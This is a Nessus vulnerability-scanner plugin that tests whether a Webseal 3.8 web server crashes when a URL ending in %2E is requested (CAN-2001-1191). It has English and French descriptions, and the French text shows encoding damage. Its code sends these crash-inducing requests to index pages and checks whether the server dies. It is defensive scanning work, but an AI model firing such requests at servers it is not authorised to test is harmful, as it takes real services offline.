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- # This script was written by Michel Arboi <arboi@alussinan.org>
- #
- # GPL
- #
- # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
- # Erik Anderson <eanders@carmichaelsecurity.com>
- # Added BugtraqID and CAN
- #
- # References:
- # Date: 11 Dec 2001 09:22:50 -0000
- # From: "Matthew Lane" <MatthewL@Janusassociates.com>
- # To: bugtraq@securityfocus.com
- # Subject: Webseal 3.8
- #
- # Affected:
- # Webseal 3.8
- #
- # *unconfirmed*
-
- if(description)
- {
- script_id(11089);
- script_bugtraq_id(3685);
- script_version ("$Revision: 1.11 $");
- script_cve_id("CAN-2001-1191");
-
- name["english"] = "Webseal denial of service";
- name["francais"] = "DΘni de service contre Webseal";
- script_name(english:name["english"],
- francais:name["francais"]);
-
- desc["english"] = "
- The remote web server dies when an URL ending with %2E is requested.
-
- A cracker may use this flaw to make your server crash continually.
-
- Solution : upgrade your server or firewall it.
- Risk factor : High";
-
-
- desc["francais"] = "
- Le serveur web distant meurt quand on demande une URL qui se termine
- par %2E
-
- Un pirate pourrait utiliser cette faille pour tuer rΘguliΦrement
- votre serveur.
-
- Solution : mettez votre logiciel α jour ou protΘgez-le
-
- Facteur de risque : ElevΘ";
-
- script_description(english:desc["english"],
- francais:desc["francais"]);
-
-
- summary["english"] = "Request ending with %2E kills WebSeal";
- summary["francais"] = "Une requΩte qui se termine par %2E tue WebSeal";
- script_summary(english:summary["english"],
- francais:summary["francais"]);
-
- script_category(ACT_DENIAL);
-
- script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi",
- francais:"Ce script est Copyright (C) 2002 Michel Arboi");
-
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "httpver.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
-
- include("http_func.inc");
-
- port = get_http_port(default:80);
-
- if (! get_port_state(port)) exit(0);
- if (! can_host_asp(port:port)) exit(0);
-
- if (http_is_dead(port: port)) exit(0);
-
- soc = http_open_socket(port);
- if (! soc) exit(0);
-
- url[0] = "/index.html";
- url[1] = "/index.htm";
- url[2] = "/index.asp";
- url[3] = "/";
-
- for (i=0; i<4;i=i+1)
- {
- req = http_get(port: port, item: string(url[i], "%2E"));
- send(socket: soc, data: req);
- r = http_recv(socket: soc);
- http_close_socket(soc);
-
- soc = http_open_socket(port);
- if(!soc) break;
- }
- # We must close the socket, VNC limits the number of parallel connections
- if (soc) http_close_socket(soc);
-
- if (http_is_dead(port: port)) { security_hole(port); }
-